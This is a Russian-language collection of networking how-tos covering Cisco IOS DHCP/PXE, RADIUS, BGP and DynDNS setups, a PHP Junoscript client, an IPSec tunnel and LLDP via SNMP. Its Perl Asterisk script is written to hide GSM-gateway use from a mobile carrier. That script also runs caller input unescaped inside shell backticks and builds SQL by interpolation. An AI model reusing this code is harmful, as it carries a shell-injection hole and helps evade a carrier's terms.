    ----* Опции DHCP для маршрутизаторов Cisco для PXE-загрузки c SCCM (доп. ссылка 1)   Автор: Величко Д.С.  [комментарии]
     
    Настраиваем маршрутизатор Cisco для загрузки PXE клиентов с Microsoft System
    Center Configuration Manager (SCCM) Server. При этом SCCM сервер и PXE клиенты
    находятся в различных подсетях. Для такой загрузки необходимо настроить DHCP
    пул с указанием опций 66 и 67 для указания IP-адреса SCCM сервера и
    загрузочного файла.
    
    По умолчанию путь к загрузочному файлу PXE "\\SMSBoot\\x86\\wdsnbp.com". Опция
    66 и ip helper-address должны указывать на IP или DNS имя сервера SCCM с
    поднятой ролью PXE.
    
    Конфигурация DHCP пула с опциями 66 и 67:
    
       ip dhcp pool <pool_name>
         network <network netmask>
         default-router <gateway_ip>
         dns-server <dns_server1_ip dns_server2_ip>
         option 66 ip <SCCM_IP>
         option 67 ascii "\\SMSBoot\\x86\\wdsnbp.com"
    
    На данном этапе возникает вопрос каким образом связаны между собой DHCP и PXE?
    При выполнении PXE-запроса сетевая карта отправляет модифицированный пакет
    DHCPDISCOVER, расширенный PXE-опциями. Он рассылается широковещательно. Таким
    образом, DHCPDISCOVER может быть распространен за пределы подсети
    маршрутизатором при помощи ретрансляции DHCP, перенаправляя поступающие от
    клиентов сообщения DHCP серверам в других подсетях. Для этого и настраивается
    ip helper-address на интерфейсе шлюза за которым расположены клиенты PXE
    указывающий на SCCM сервер.
    
       interface <interface_name>
       ip helper-address <SCCM_IP>
    
    Приведу выдержку из конфигурации маршрутизатора
    
       ip dhcp pool osd
          network 10.1.7.0 255.255.255.0
          dns-server 10.1.6.5 10.1.6.6
          domain-name some.domain.local
          default-router 10.1.7.254
          option 66 ip 10.1.6.11
          option 67 ascii "\\SMSBoot\\x86\\wdsnbp.com"
    
       interface Vlan7
        description New OS Deployment
        ip address 10.1.7.254 255.255.255.0
        ip helper-address 10.1.6.11
    
     
    ----* Junoscript на удаленном устройстве c JunOS   Автор: nocn  [комментарии]
     
    Развертывание и поддержка крупной вычислительной сети требует значительных
    усилий инженеров различных специальностей. Во многом помогают средства
    автоматизации. Cisco IOS в этом смысле предоставляет возможность создания
    автоматических средств с помощью TCL. Juniper Networks JunOS предоставляет
    множество средств, основанных на XML. Linux/BSD-платформы в отношении
    автоматизации значительно гибче.
    
    Однако, если говорить об IOS и Linux/BSD, то это уже прижившиеся в сетях
    операционные системы, о которых достаточно информации в интернете, и
    большинство сетевых администраторов чувствуют себя уверенно при работе с ними.
    
    Особняком стоит Junos, появившийся относительно недавно и не накопивший
    достаточного объема документации в рунете.
    
    Большая часть информации о JunOS сконцентрирована на официальном сайте.
    Информации много, и она очень подробная. Если у вас есть специалист, который
    вас может направить на путь к правильному решению, - это очень хорошо. Но если
    такого специалиста нет, вы начинаете просматривать мегабайты документации в
    поисках нужной информации, собирая по деталям всю мозаику, в рисунке которой
    чудесным образом появляется решение проблемы. На это уходит много времени, эта
    статья призвана сократить ваш путь от постановки задачи на автоматизацию до
    начала непосредственно реализации (примеры на PHP).
    
    Для понимания статьи достаточны базовые навыки работы с командным интерфейсом и
    конфигурацией JunOS.
    
    
    Как JunOS работает с конфигурацией и как взаимодействует с CLI
    
    В целом управление устройством на базе JunOS производится с помощью процесса
    mgd (management daemon), который готов принимать запросы из CLI, изменения
    конфигурации и удаленные вызовы. Этот процесс тесно взаимодействует с другими
    процессами операционной системы и позволяет организовывать интерактивный режим
    работы с пользователем. В данном контексте под пользователем подразумевается
    или скрипт, выполняемый локально, или удаленное подключение через (например)
    SSL-сокет, или инженер, находящийся на устройстве посредством ssh или telnet.
    
    Для обеспечения взаимодействия между mgd и другими процессами был выбран
    механизм RPC, основанный на использовании XML. На запросы и ответы в формате
    XML можно взглянуть, направив вывод основной команды пайпом в команды 'display
    xml rpc' и 'display xml' соответственно.
    
    Например:
    
       > show interfaces xe-1/0/0 terse | display xml rpc
    
       <rpc-reply xmlns:junos="http://xml.juniper.net/junos/10.3R2/junos">
        <rpc>
           <get-interface-information>
                   <terse/>
                   <interface-name>xe-1/0/0</interface-name>
           </get-interface-information>
        </rpc>
        <cli>
           <banner></banner>
        </cli>
       </rpc-reply>
    
       > show interfaces xe-1/0/0 terse | display xml
    
       <rpc-reply xmlns:junos="http://xml.juniper.net/junos/10.3R2/junos">
        <interface-information
           xmlns="http://xml.juniper.net/junos/10.3R2/junos-interface"
           junos:style="terse">
           <physical-interface>
               <name>xe-1/0/0</name>
               <admin-status>up</admin-status>
               <oper-status>up</oper-status>
               <description>TEST PORT</description>
               <logical-interface>
                   <name>xe-1/0/0.10</name>
                   ...
               </logical-interface>
           </physical-interface>
        </interface-information>
        <cli>
           <banner></banner>
        </cli>
       </rpc-reply>
    
    Это значит, что при вводе команды CLI формирует XML-документ и отправляет его
    mgd, который в свою очередь интерпретирует запрос, подготавливает результат в
    формате XML и отправляет его CLI. Получив ответ командная оболочка форматирует
    XML-документ в читаемый вид и выводит его на терминал.
    
    Конфигурация тоже представлена в формате XML.
    
       > show configuration | display xml'
       <rpc-reply xmlns:junos="http://xml.juniper.net/junos/10.3R2/junos">
          <configuration junos:commit-seconds="1296472234"
                      junos:commit-localtime="2011-01-31 17:10:34 NOVT"
                      junos:commit-user="root">
               <version>10.3R2.11</version>
                   ...
          </configuration>
       </rpc-reply>
    
    После того, как вы входите в режим конфигурирования устройства, изменяете
    конфигурацию (она приобретает статус candidate) и вводите 'commit', CLI
    форматирует в виде XML конфигурацию-кандидата, которая в последствии сливается
    с активной конфигурацией средствами XSLT-менеджера.
    
    В общем случае любое взаимодействие с JunOS происходит посредством
    взаимодействия с mgd. С этим менеджером мы можем "общаться" из CLI, из
    op-скрипта, из event-скрипта, из commit-скрипта или удаленно через RPC-сессию
    (установить сессию в открытом виде или шифрованную с помощью SSL, работать с
    Junoscript RPC внутри SSH-соединения или с помощью специфичной технологии
    Outbound SSH).
    
    Описание каждого способа взаимодействия - это тема нескольких статей. 
    Вкратце, op-скрипты позволяют автоматизировать работу оператора устройства,
    event-скрипты готовы к выполнению при наступлении какого-либо события (или
    каскада взаимозависимых событий), commit-скрипт выполняется каждый раз, когда
    производится выполнение команды 'commit' из конфигурационного режима.
    
    Ниже мы поговорим о работе с JunOS удаленно.
    
    Теория удаленной работы с JunOS
    
    Первым этапом взаимодействия с устройством JunOS является поднятие транспорта и
    открытие RPC-сессии (последнее требуется только для соединения через SSH).
    Технические детали зависят от того, какой транспорт вы предпочтете. Для работы
    различных транспортных средств может потребоваться дополнительная конфигурация
    или генерирование сертификата. Об этом подробнее рассказано в документации.
    
    Я же буду использовать SSH-соединение, так как его поддержка настроена
    практически на всех моих устройствах под управлением JunOS.
    
    Следующим шагом является отправка XML PI (processing instructions) с указанием
    используемой кодировки "us-ascii" и версии XML. За PI следует отправить
    открывающий тег <junoscript> с атрибутом version="1.0". (Это единственный
    обязательный атрибут, остальные являются опциональными. Ими вы можете
    сопоставить текущую версию JunOS и версию своего скрипта, или указать hostname,
    от которого выполняется скрипт.)
    
    Все готово для того, чтобы отправлять запросы внутри пары тегов <rpc></rpc>.
    
    Информацию о формате запроса можно получить из командной строки, отправив в '|
    display xml rpc' вывод практически любой команды, о чем было сказано выше.
    
    Проверить работоспособность любого RPC-запроса можно из CLI с помощью скрытой
    команды 'junoscript interactive'. (Не забудьте отправить PI и junoscript-тег.)
    
    Ответ вы получите внутри пары тегов <rpc-reply></rpc-reply> сразу после ввода и
    отправки закрывающего тега </rpc>. Обратил внимание, что JunOS никак не
    форматирует ответ (нет отступов, каждый новый тег в новой строке).
    
    Получив от JunOS все, что нам нужно, мы можем закрыть сессию. Можно оборвать
    транспорт, но этот путь не является кошерным, ибо RPC-сессия так и останется
    висеть незавершенной. Лучшим и правильным решением является запрос
    <request-end-session/>, получение от JunOS закрывающего тега </junoscript> и
    отправка этого же тега на устройство. Отключение транспорта будет инициировано
    самой операционной системой JunOS.
    
    
    От слов к делу
    
    Для работы с SSH я использовал библиотеку libssh2-php. Итак, установка
    транспорта и открытие RPC-сессии требует от нас следующих шагов:
    
    1. Подключение к устройству.
    2. Аутентификация посредством ключа или пароля.
    3. Получение файлового дескриптора потока SSH-сессии.
    4. Выполнение команды junoscript на устройстве для открытия сессии.
    
    
       /* Открытие сессии */
       public function sshconnect($host, $port=22)
       {
          $this->ssh = ssh2_connect($host, $port);
          if (!$this->ssh) return false;
          return true;
       }
    
       /* Аутентификация по паролю */
       public function authpass($username, $password)
       {
          if (!$this->ssh) return false;
          $this->auth = ssh2_auth_password($this->ssh, $username, $password);
          return $this->auth;
       }
    
       /* Аутентификация по ключу */
       public function authkey($username, $pubkeyfile, $privkeyfile, $passphrase=null)
       {
          if (!$this->ssh) return false;
          $this->auth = ssh2_auth_pubkey_file($this->ssh,
               $username, $pubkeyfile, $privkeyfile, $passphrase);
          return $this->auth;
       }
    
       /* Открытие сессии, отправка PI и junoscript-тега */
       public function startshell($hostname=null, $encoding="us-ascii", $version="1.0")
       {
          if (!$this->auth) return false;
          $this->stream = ssh2_shell($this->ssh,
               'vt102', null, 0, 0, SSH2_TERM_UNIT_CHARS);
          if (!$this->stream) return false;
    
          /* Старт Junoscript сессии */
          fwrite($this->stream, "junoscript\n");
    
          $s = '';
          while (strstr($s, 'start') === FALSE)
          {
              $s = fgets($this->stream);
              $this->rawXml .= $s;
          }
    
          /* Отправка PI и  тега */
          fwrite($this->stream, '<?xml version="1.0" encoding="'.$encoding.'"?>');
          fwrite($this->stream, "<junoscript version=\"$version\" "
           . ($hostname ? " hostname=\"$hostname\"" : "") . '>');
    
          return true;
       }
    
    
    Как вы могли заметить, в функции startshell я сразу отправил PI и
    junoscript-тег. Теперь самое интересное: отправка RPC и получение ответа.
    
       public function exec($rpcstring)
       {
          $answer = '';
    
          if (!$this->stream) return false;
          fwrite($this->stream, '<rpc>'.$rpcstring.'</rpc>');
       
          $s = '';
          while (strstr($s, '/rpc-reply') === FALSE)
          {
              $s = fgets($this->stream);
              $this->rawXml .= $s;
              $answer .= $s;
          }
    
          return $answer;
       }
    
    
    Описывать подробно работу функции смысла нет, она достаточно простая, чтобы
    быть понятной для программиста любой квалификации. Осталось только закрыть
    сессию и закончить работу с устройством.
    
       public function close()
       {
          if (!$this->stream) return false;
          $close = '<rpc><request-end-session/></rpc>';
          fwrite($this->stream, $close);
    
          $s = '';
          while (strstr($s, '/junoscript') === FALSE)
          {
              $s = fgets($this->stream);
              $this->rawXml .= $s;
          }
          fwrite($this->stream, '</junoscript>');
    
          /* server resets connection now */
          $this->auth = null;
          $this->stream = null;
          $this->ssh = null;
    
          return true;
       }
    
    
    А вот пример работы с классом:
    
       $j = new JunosRPC();
       $result = $j->connect_key("juniper", "username", "id_rsa.pub", "id_rsa");
       echo 'Connect: ', ($result ? 'true' : 'false'), "\n";
    
       $answer = $j->exec('<get-bgp-summary-information/>');
    
       $result = $j->close();
       echo 'Close: ', ($result ? 'true' : 'false'), "\n";
    
       $xml = simplexml_load_string($answer);
       print_r($xml);
    
    
    Полный исходный код класса JunosRPC вы можете изучить 
    здесь или здесь. Подробнее изучить про то, как работает Junos XML
    Management Protocol, можно используя официальную документацию.
    
    
    Заключение
    
    Кто-то может спросить: "И в чем преимущество такого хитрого метода работы с
    устройством по сравнению, скажем, с простым использованием expect'а ?"
    Преимущество основано на том, что JunOS использует именно XML для работы с
    конфигурацией. Учитывая богатый выбор инструментов для работы с XML можно
    предположить, что некий провайдер захочет создать систему управления
    устройствами в сети на основе информации из своего биллинга (похоже это делает
    JunOS Space). В некоторых случаях требуется мониторинг специфичных параметров
    устройства, которых нет в OID-дереве SNMP.
    
    Многие вопросы не были затронуты в статье, как то использование NETCONF,
    создание op-, event- и commit-скриптов. Однозначно, автоматизация - это очень
    широкое поле для исследований.
    
    На Youtube есть пользователь JuniperNetworks, подкасты которого помогут
    ориентироваться во всем многообразии продуктов Juniper.
    
     
    ----* Настройка CustomDNS (DynDNS) на маршрутизаторе Cisco   Автор: serg-dn  [комментарии]
     
    Шаблон настроек Cisco IOS для обновления хоста MyHost своего домена
    My-DNS-Domain.com в DynDNS. Конфигурация для ADSL. Проверено на Cisco IOS
    Software, C870 Software (C870-ADVIPSERVICESK9-M), Version 12.4(24)T4. Для
    обновления раз в час необходима подписка на услугу DynDNS Pro, для корректной
    регистрации должна быть активирована услуга Custom DNS.
    
    Пример конфигурационного файла:
    
       !
       hostname MyHost
       !
       ip domain lookup source-interface Dialer1
       ip domain name My-DNS-Domain.com
       ip host ns1.mydyndns.org 204.13.248.76
       ip host ns3.mydyndns.org 208.78.69.76
       ip host ns4.mydyndns.org 91.198.22.76
       ip host ns5.mydyndns.org 203.62.195.76
       ip host ns2.mydyndns.org 204.13.249.76
       ip name-server 1.1.1.1
       ip name-server 1.1.1.2
       !
       ip ddns update method mydns
        HTTP
         add http://XXX:XXX@members.dyndns.org/nic/update?system=custom&   hostname=MyHost.My-DNS-Domain.com
      remove http://XXX:XXX@members.dyndns.org/nic/update?system=custom&hostname=MyHost.My-DNS-Domain.com
        interval maximum 0 0 1 30
       !
       !
       access-list 1500 permit any
       !
       interface Dialer1
        ip ddns update hostname MyHost.My-DNS-Domain.com
        ip ddns update mydns host members.dyndns.org
        ip access-group 1500 out
       !
    
     
    ----* Равномерное использование транков в Asterisk (доп. ссылка 1)   Автор: ink08  [комментарии]
     
    Не секрет, что есть условно бесплатные (3000 минут) SIM-карты и если превысить
    их лимит, оператор может узнать, что используется gsm-шлюз. Представленный
    скрипт распределяет нагрузку и не звонит при превышении лимита по транку.
    Список разрешенных кодов задается в файле в /usr/share/asterisk/agi-bin/cods.txt
    
    
    
     #!/usr/bin/perl
    
     # load module
     use Asterisk::AGI;
     use DBI;
     #use date::Format;
    
    
    
     # connect
     my $dbh = DBI->connect("DBI:Pg:dbname=asterisk;host=127.0.0.1", "asterisk_user", "passwd", {'RaiseError' => 1});
    
    
     my %trunks=("name1" => "SIP/994",
            "name2" => "SIP/993",
            "name3" => "SIP/992",
            "name4" => "SIP/991"); #89839
    
     my %trunks_id=("name1" => "994",
               "name2" => "993",
               "name3" => "992",
               "name4" => "991");
    
     my $Default_trunk="SIP/63762xx";
     my $Default_trunk_id="63762xx";
    
     my %calls=();
     my @calls_order=();
    
     my $LIMIT=2000*60;
     my $min=$LIMIT;
     my $min_trunk="name1";
    
     foreach $trunk (keys(%trunks)){
        my $sth = $dbh->prepare("SELECT sum(billsec) AS calltime FROM cdr WHERE 
          date_trunc('month',calldate) = date_trunc('month',now())  AND dstchannel LIKE '$trunks{$trunk}-%' ;");
        $sth->execute();
    
        while(my $ref = $sth->fetchrow_hashref()) {
        if($ref->{'calltime'} < $LIMIT){
            $calls{$trunk}=$ref->{'calltime'};
           
            if ($min > $ref->{'calltime'} ){
            $min=$ref->{'calltime'};
            $min_trunk=$trunk;
            }
           
        }
           if(not $ref){
              $calls{$trunk}=0;
           }
            }#end while
     }
    
     $dbh->disconnect();
    
     #@calls_order = sort { $calls{$b} cmp $calls{$a} } keys %calls;
     @calls_order = sort { $calls{$a} <=> $calls{$b} } keys %calls;
    
    
     #foreach $trunk (@calls_order){
     #    print "$trunk = $calls{$trunk}\n";
     #     $AGI->verbose("$trunk = $calls{$trunk}\n",3);
     #}
     #print "min $min_trunk\n";
     #$AGI->verbose("min $min_trunk\n",3);
    
    
    
    
     $|=1;
     my $AGI = new Asterisk::AGI;
     $AGI->setcallback(\&mycallback);
     my  %input = $AGI->ReadParse();
     sleep(1);
     my $num = $input{'extension'};
     my $caller_id = $input{'callerid'};
     if (!$num) {
            exit;
        }
       
     my $num1 = substr($num,1,6);
        my $syscmd1=`perl -ne "print if m/$num1/" /usr/share/asterisk/agi-bin/cods.txt`;
        chomp($syscmd1);   
        if($syscmd1==0){
           $AGI->exec('Playback', "/var/lib/asterisk/sounds/record/blocked_call");
           exit;     
        }
       
     my $use_default=1;
       
     #$AGI->stream_file("/var/lib/asterisk/sounds/record/limit_call","*");
     $AGI->exec('Playback', "/var/lib/asterisk/sounds/record/limit_call");
    
     $AGI->verbose("Executing Dial $num $num1 $caller_id  $syscmd1 \n",3);
     foreach $trunk (@calls_order){
        $AGI->set_callerid($trunks_id{$trunk});
        my $syscmd=`asterisk -r -x "core show channels" | grep "$trunks{$trunk}"| wc -l`;
        chomp($syscmd);
       
        if($syscmd==0){
        #$AGI->verbose("????? Status $trunks{$trunk} '$ret' '$status'\n",3);
    #        my $ret=$AGI->exec('Dial', "$trunks{$trunk}/$num");
    
            my $ret=$AGI->exec('Dial', "$trunks{$trunk}/$num|120|L(191664)");
        my $status=$AGI->channel_status();
       
            if( ($status==0 || $status==1) && $ret!=1 ){
            $AGI->verbose("????? OK! $caller_id $num ret=$ret status=$status syscmd=$syscmd\n",3);
            $use_default=0;
            last;
        }else{
            $AGI->verbose("????????? error $caller_id $num $trunks{$trunk}/$num '$ret' status=$status  syscmd=$syscmd \n",3);
        }
        }
     }
    
     if($use_default==1){
        $AGI->set_callerid($Default_trunk_id);
        my $ret=$AGI->exec('Dial', "$Default_trunk/$num");
        $AGI->verbose("????????? error_Default_trunk $caller_id $num $Default_trunk/$num ret=$ret \n",3);
     }
    
     sleep(1);
     exit;
    
     sub mycallback {
      my ($returncode) = @_;
        &log("CALLBACK");
        &cleanup;
        #print STDERR "User Disconnected ($returncode)\n";
        $AGI->verbose("!!!!!!!!!! ($returncode)\n");
      exit($returncode);
     } 
    
     
    ----* IPSec туннель между Cisco и CentOS Linux   Автор: PsV  [комментарии]
     
    Имеем:
    
    1 Маршрутизатор Cisco 5510 ASA с реальным IP 1.1.1.1 (сеть XXX.XXX.0.0/24)
    2. Маршрутизатор Linux CentOS 5.2 (ядро 2.6.18-92.el5) с установленным
    ipsec-tools-0.6.5-13.el5_3.1 и реальным IP 2.2.2.2 (сеть XXX.XXX.0.0/16)
    
    Конфигурация на маршрутизаторе Cisco:
    
       crypto isakmp policy 5
        encr aes
        authentication pre-share
        group 2
        lifetime 3600
        hash sha
       !
       crypto isakmp key SECRETKEY address 2.2.2.2
       crypto ipsec security-association lifetime seconds 3600
       crypto ipsec transform-set GK esp-aes esp-sha-hmac
       crypto map IPSec 7 ipsec-isakmp
       set peer 2.2.2.2
       set transform-set GK
       set pfs group2
       match address 666
      !
      interface GigabitEthernet0/0.1
       ip address 1.1.1.1 255.255.255.224
       crypto map IPSec
      !
      ip route XXX.XXX.0.0 255.255.255.0 2.2.2.2
      access-list 666 remark asGK
      access-list 666 permit ip  XXX.XXX.0.0 0.0.255.255  XXX.XXX.0.0 0.0.0.255
      access-list 666 deny   ip any any
    
    
    Конфигурация на машине с Linux CentOS:
    
    /etc/sysconfig/network-scripts/ifcfg-ipsec0
    
       TYPE=IPSEC
       ONBOOT=yes
       IKE_METHOD=PSK
       IKE_PSK=SECRETKEY
       IKE_DHGROUP=2
       ESP_PROTO=aes
       AH_PROTO=none
       AESP_PROTO=hmac-sha1
       SRC=2.2.2.2
       SRCGW=XXX.XXX.0.100
       DSTGW=1.1.1.1
       SRCNET=XXX.XXX.0.0/24
       DSTNET=XXX.XXX.0/16
       DST=1.1.1.1
    
    
    /etc/racoon/racoon.conf
    
       path include "/etc/racoon";
       path pre_shared_key "/etc/racoon/psk.txt";
       log notify;
    
       listen
       {
          isakmp 2.2.2.2 [500];
       }
    
       sainfo address  XXX.XXX.0.0/24 any address XXX.XXX.0.0/16 any
       {
           pfs_group 2;
           lifetime time 6400 sec;
           encryption_algorithm aes;
           authentication_algorithm hmac_sha1;
           compression_algorithm deflate;
       }
    
    
    и не забываем про iptables!!
    
    после настройки
    
       #ifup ipsec0
    
    после поднятия ipsec0 можно посмотреть есть ли туннель
    
       #setkey -D
    
       2.2.2.2 1.1.1.1
           esp mode=tunnel spi=3839224802(0xe4d5ebe2) reqid=0(0x00000000)
           E: aes-cbc  c98674dd c1cda3a8 36f39eb5 84fd56b4 192e4acd 7ad470d7 0176919b c955cc38
           A: hmac-sha1  d8e6305b 8b0352ab 249d125f 1515e6a8 136d8896
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 2160(bytes)    hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=1 pid=8863 refcnt=0
       1.1.1.1 2.2.2.2
           esp mode=tunnel spi=111533039(0x06a5dbef) reqid=0(0x00000000)
           E: aes-cbc  3e1f5040 cf6c15d2 8083dc28 aa6006ef df53337f 13b31da2 2782ef5c e46d3567
           A: hmac-sha1  a9553dd3 e9b431a5 534baef8 a2b1f34b cc2b8867
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 833(bytes)     hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=0 pid=8863 refcnt=0
    
    
    Ссылки:
           http://www.opennet.ru/base/cisco/cisco_ipsec_freebsd.txt.html (очень помогла эта статья)
           http://netbsd.gw.com/cgi-bin/man-cgi?racoon++NetBSD-current
    
     
    ----* Настройка корректного отображения шрифтов для работы Cisco Packet Tracer 5   Автор: toidi  [комментарии]
     
    Чтобы при работе в Cisco Packet Tracer 5 шрифты выглядели нормально нужно
    закомментировать в файле /usr/local/PacketTracer51/packettracer строку
    
       export LD_LIBRARY_PATH=$PTDIR/lib
    
    , тогда будет использована стандартная версия библиотеки Qt, которая должна
    быть установлена в системе.
    
     
    ----* Заметки по настройке времени, логов, BGP и Radius в Cisco IOS   Автор: fantom  [комментарии]
     
    1. Время.
    
    Казалось бы какая простая и понятная штука - время. Но сколько проблем может
    доставить его неправильные показания :)
    
    Синхронизация с ntp сервером (это знают почти все)
    
       ntp server 1.2.3.4
       ntp clock-period 17180179
    
    но время буде GMT,  укажем зону:
    
       clock timezone Riga 2
    
    Riga - это имя, какое введете - такое и будет, 2 - +2 часа к GMT,
    варианты предлагаются от -23 до 23
    
    И все бы было хорошо если бы не переходы на летнее время, но есть возможность учесть и это
    
       clock summer-time Riga recurring last Sun Mar 02:00 last Sun Oct 03:00
    
    т.е. Летнее время "работает" с последнего воскресенья марта по последнее
    воскресенье октября (Riga - это имя зоны, которое было задано в clock timezone)
    
    И теперь для полного счастья, чтобы логи и отладочную информацию смотреть в
    локальном времени, а не с момента включения устройства:
    
       service timestamps debug datetime msec localtime
       service timestamps log datetime msec localtime
    
    2. Radius
    
    Возникла у начальства 2-х контор "светлая мысль" - совместно использовать Сisco
    как pppoe сервер, а т.к. биллинги разные - то и работать надо одновременно с
    2-мя radius серверами.
    Оказывается - элементарно!
    
       Interface Loopback1
        description For_RAD1
        ip address a.a.a.a
    
       Interface Loopback2
        description For_RAD2
        ip address b.b.b.b
    
    
       aaa group server radius RAD1
        server 1.1.1.1 auth-port 1645 acct-port 1646
        server-private 1.1.1.1 auth-port 1645 acct-port 1646 key secret
        ip radius source-interface Loopback1
        attribute nas-port format a
       !
       aaa group server radius RAD2
        server 2.2.2.2 auth-port 1812 acct-port 1813
        server-private 2.2.2.2 auth-port 1812 acct-port 1813 key tayna
        ip radius source-interface Loopback2
        attribute nas-port format a
       !
       aaa authentication ppp rad1 group RAD1
       aaa authentication ppp rad2 group RAD2
       aaa authorization network rad1 group RAD1 
       aaa authorization network rad2 group RAD2 
       aaa accounting update periodic 2
       aaa accounting network rad1
        action-type start-stop
        group RAD1
       !
       aaa accounting network rad2
        action-type start-stop
        group RAD2
    
       bba-group pppoe rad1
       virtual-template 1
        vendor-tag circuit-id service
        sessions per-vlan limit 800
        sessions per-mac throttle 4 60 300
    
       bba-group pppoe rad2
       virtual-template 2
        vendor-tag circuit-id service
        sessions per-vlan limit 800
        sessions per-mac throttle 4 60 300
    
       interface Virtual-Template1
        ip unnumbered Loopback1
        peer default ip address pool PPPoE_POOL1
        ppp authentication pap rad1
        ppp authorization rad1
        ppp accounting rad1
    
       interface Virtual-Template2
        ip unnumbered Loopback2
        peer default ip address pool PPPoE_POOL2
        ppp authentication pap rad2
        ppp authorization rad2
        ppp accounting rad2
    
       interface GigabitEthernet0/0.100
       encapsulation dot1Q 100
       pppoe enable group rad1
    
       interface GigabitEthernet0/1.200
       encapsulation dot1Q 200
       pppoe enable group rad2
    
    И вуаля - абоненты из VLAN 100 - уходят на биллинг одного провайдера, а  VLAN 200 - другого.
    ip radius source-interface LoopbackN - очень полезный параметр - cisco всегда
    отправляет пакеты с src IP интерфейса  LoopbackN.
    
    
    3. Syslog log
    
    Ну тут все просто:
    
       logging 3.3.3.3
       logging source-interface LoopbackN
    
    логи всегда идут с ip на LoopbackN, маршрутизатор всегда однозначно
    идентифицируется (если этого не сделать то логи приходят и IP-а "ближайшего" к
    серверу интерфейса - неудобно если вдруг маршрутизация перестроилась)
    
       logging buffered 4000000
    
    Установка размера буфера (в байтах) для хранения log-ов прямо в памяти cisco.
    
    Теперь можно посмотреть историю событий
    
       show logging
    
    
    4. BGP
    Надо проанонсировать 2 AS-ки с одной Сisco.
    
       router bgp 111
       neighbor 1.1.1.1 route-map INET-OUT out
    
       ip prefix-list as222 seq 100 permit 2.2.2.0/24
    
       route-map INET-OUT permit 100
        match ip address prefix-list as222
        set as-path prepend 222 
    
    и на neighbor 1.1.1.1 сеть 2.2.2.0/24 придет с as-path 
    111 222
    
    что и требовалось обеспечить.
    
    Есть более изящное решение:
    
       router bgp 111
       address-family ipv4
       network 2.2.2.0 mask 255.255.255.0 route-map AS222
    
       route-map AS222 permit 100
         set origin egp 222
    
    но к сожалению работает оно не в каждом IOS-е.
    
     
    ----* Включение и настройка LLDP на коммутаторах Linksys / Cisco серий SPS и SRW средствами SNMP   Автор: Shadowcaster  [комментарии]
     
    Коммутаторы серии SPS и SRW не предоставляют средств для управления протоколом
    обнаружения (LLDP) из CLI. Данную функциональность можно активировать или
    выключить только при помощи протокола SNMP.
    
    Включенный и неправильно настроенный LLDP может предоставлять угрозу
    безопасности, распространяя информацию о устройстве и L2-параметрах во все
    активированные порты. Правильно настроенный LLDP является незаменимым
    помощником сетевого администратора, позволяет автоматически строить топологию
    сети и обнаруживать устройства на портах.
    
    Мне в руки попал Linksys/Cisco small business SPS224G4. По результатам
    snmpwalk-a видно, что устройство поддерживает LLDP, но не отправляет и не
    принимает пакеты. В cli-команды lldp run/show lldp neighbors нет.
    
    После для поисков были обнаружены mib-ы для SPS- и SRW-серий коммутаторов. Это
    перебрандированые mib-ы RADLAN-а, такую же платформу можно обнаружить в
    коммутаторах Dell PowerConnect 54xx - правда там честно написано RADLINK.
    
    Итак, для Linksys:
    https://www.myciscocommunity.com/docs/DOC-12539
    Прямой линк
    https://www.myciscocommunity.com/servlet/JiveServlet/downloadBody/12539-102-2-21519/SRW_MIB_2009.zip
    
    В дальнейшем oid приведены в цифровом виде, скачивать mib-ы нет необходимости,
    разве что для изучения обширных возможностей SNMP, которые предоставляет
    Linksys SPS/SRW.
    
    подготовим snmp на коммутаторе (cli):
    
       console# conf term
       console(config)# snmp-server enable
       console(config)# snmp-server community secret1 rw
    
    И проверим статус lldp на коммутаторе при помощи snmpwalk из пакета net-snmp
    
       snmpwalk -v2c -c secret1 <ip> 1.3.6.1.4.1.3955.89.110.1.1.1.0
       CISCOSB-LLDP-MIB::rlLldpEnabled.0 = INTEGER: false(2)
    
    попытаемся активировать lldp engine:
    
       snmpset -v2c -c secret1 <ip> 1.3.6.1.4.1.3955.89.110.1.1.1.0 i 1
       CISCOSB-LLDP-MIB::rlLldpEnabled.0 = INTEGER: true(1)
    
    проверим статус lldp на портах коммутатора:
    
       snmpwalk -v2c -c secret1 <ip> 1.0.8802.1.1.2.1.1.6.1.2
       LLDP-MIB::lldpPortConfigAdminStatus.1 = INTEGER: txAndRx(3)
       LLDP-MIB::lldpPortConfigAdminStatus.2 = INTEGER: txAndRx(3)
       LLDP-MIB::lldpPortConfigAdminStatus.3 = INTEGER: txAndRx(3)
    
    Теперь необходимо настроить коммутатор на отправку нужных TLV (параметров,
    которые мы хотим видеть с другой стороны линка)
    проверяем:
    
       snmpwalk -v2c -c secret1 <ip>  1.0.8802.1.1.2.1.1.6.1.4
       LLDP-MIB::lldpPortConfigTLVsTxEnable.1 = BITS: 00
       LLDP-MIB::lldpPortConfigTLVsTxEnable.2 = BITS: 00
       LLDP-MIB::lldpPortConfigTLVsTxEnable.3 = BITS: 00
    
    и выставляем разумный минимум:
    
       snmpset -v2c -c secret1 <ip>  1.0.8802.1.1.2.1.1.6.1.4.<portnumer> x F0
       LLDP-MIB::lldpPortConfigTLVsTxEnable.<portnumer> = BITS: F0 portDesc(0) sysName(1) sysDesc(2) sysCap(3)
    
    повторить для каждого порта, на котором нужно включить LLDP
    
    На данном этапе соседи должны увидеть LLDP соседа на линкe. Проверим:
    
       snmpwalk -v2c -c secret1 <neighbor_ip>  1.0.8802.1.1.2.1.4.1.1
    
       LLDP-MIB::lldpRemChassisIdSubtype.41429900.1.1 = INTEGER: macAddress(4)
       LLDP-MIB::lldpRemChassisId.41429900.1.1 = Hex-STRING: 00 22 6B xx xx xx
       LLDP-MIB::lldpRemPortIdSubtype.41429900.1.1 = INTEGER: interfaceName(5)
       LLDP-MIB::lldpRemPortId.41429900.1.1 = STRING: "g2"
       LLDP-MIB::lldpRemPortDesc.41429900.1.1 = STRING: Ethernet Interface
       LLDP-MIB::lldpRemSysName.41429900.1.1 = STRING:
       LLDP-MIB::lldpRemSysDesc.41429900.1.1 = STRING: 24-port 10/100 + 4-Port Gigabit Switch with CLI and WebView
